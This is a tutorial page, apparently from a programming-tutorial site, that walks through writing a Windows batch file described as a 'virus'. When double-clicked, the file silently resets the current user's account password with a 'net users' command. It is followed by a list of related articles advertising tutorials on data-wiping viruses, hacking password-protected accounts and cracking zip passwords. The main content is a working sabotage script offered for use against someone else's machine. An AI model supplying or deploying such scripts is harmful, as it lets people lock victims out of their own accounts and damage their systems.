Open In App

Creating the Virus to change the Password of the User Account

Last Updated : 28 Feb, 2021
Like Article

As per the Topic is Clear we are preparing the Virus file for Password Resetting/ Change as per the Code in Every User Account Present in the System. For preparation, we didn’t have to download any specific software we can start doing the Coding in Notepad and save the file as .bat Extension. 

For the Creation of the Virus Follow these Steps are as follows:-

Step 1: Press the Window + R Button from the Keyboard.
Step 2: The Run Dialog book will Open in front of the user.

Run Dialog Box

Step 3: Type Notepad in the Dialog Box and press Enter.

Step 4: Now Notepad Window will Open in front of the User.

Step 5: Type the following code in the Notepad (this Code will only reset the Active User Password only, the Password of the other user account will not change) :

@echo off
net users %Username% "Password you want to keep"

Step 6: After typing all the code save the file with any name but remember to save the file with .bat extension anywhere on the computer.

Step 7: The virus has been successfully created by you but this will only work when it is opened by the user.


Now if anyone double-clicks on this file the User Account Password will change automatically.

Previous Article
Next Article

Similar Reads

How to Create a Virus to Wipe All User Data from Windows?
The virus that we are going to create in this article can be used to wipe out all data from the system. For this, we don't have to download any specific software we can start coding in Notepad and save the file as .bat Extension. Now to create the virus follow the below steps: Step 1: Press the Window + R Button from the Keyboard. This will open th
2 min read
How To Hack Password Protected Computer Account using CMD?
The term hacking is usually used for finding security faults in a System or network. To hack something also means getting unauthorized access to data in a system. To hack password protected computer using Windows Command Prompt is not a feasible technique. However, In this article, we will see how we can use CMD and get into a password protected Co
5 min read
Google Cloud Platform - Creating Google Cloud Console Account & Projects
Google Cloud Platform (GCP) is a suite of cloud computing services offered by Google to the developers to implement the infrastructure used in Google products in their custom applications. GCP provides several cloud services for storage and computing and provides infrastructure as a service (IaaS), platform as a service (PaaS), and serverless compu
3 min read
Recover password of password protected zip file
In this article, we will get to know about how to get the password of a zip file. I'm using Linux I went with a quick search and came across fcrackzip. This is a free program that allows for both dictionary and brute force cracking of zip file passwords. It is not difficult to use and offers a wide range of options. Let's make a zip file then we wi
2 min read
How to Create a New User Account in Windows?
In the Windows operating system, there is a provision to create a different user account for the machine. Suppose, any member of the user's family needs to access the machine. But that should be in private. The details & privacy data of the user should not be visible to that member. Also, the member's privacy data & browsing history must no
4 min read
How to Change Administrator Account in Windows 11?
Windows has two account types: Standard and Administrator. The standard user group provides minimal access to features in comparison to the Administrator group, where app installation and command execution tasks are allowed. To change an administrator account, grant administrator privileges to a regular user account and change the current administr
3 min read
How to Change or Reset Your Gmail Password?
In 2004, Google launched the free email service Gmail which has now become one of the basic utilities for every individual. With time, Gmail has now 1.5 billion active users throughout the globe and is now available in 105 different languages in the world which makes it a more attractive & important application in the Email domain. With this Hi
6 min read
How to Change Your MacBook Password?
In today's Digital world, keeping your MacBook secure is super important. Changing your MacBook password is a key part of that. Whether you want better security or just forget your password, We'll show you how to do it step-by-step. We'll explain How to change your MacBook Password using different methods. Let's get started on making your MacBook s
5 min read
How to Create a Shut-Down Virus for Windows?
As the name of the virus is clear we are here trying to Create a simple shout-down Virus that is not harmful to the data that is saved in the computer this type of virus automatically restarts the PC when the user Login/Start the PC. This virus Automatically shout-down the PC till the time it is programmed by the programmer and not able to do any w
2 min read
How to Create a Virus that Can Corrupt the Windows OS?
As per the name of the Virus is clear this is used to Corrupt the Operating System (OS) of any PC, But there is some relief that this Virus only works when it is activated by the user this will not affect any other file or the Program kept in the computer. If this virus is activated in the Computer and you have noticed it then try not to Shut Down
2 min read
Article Tags :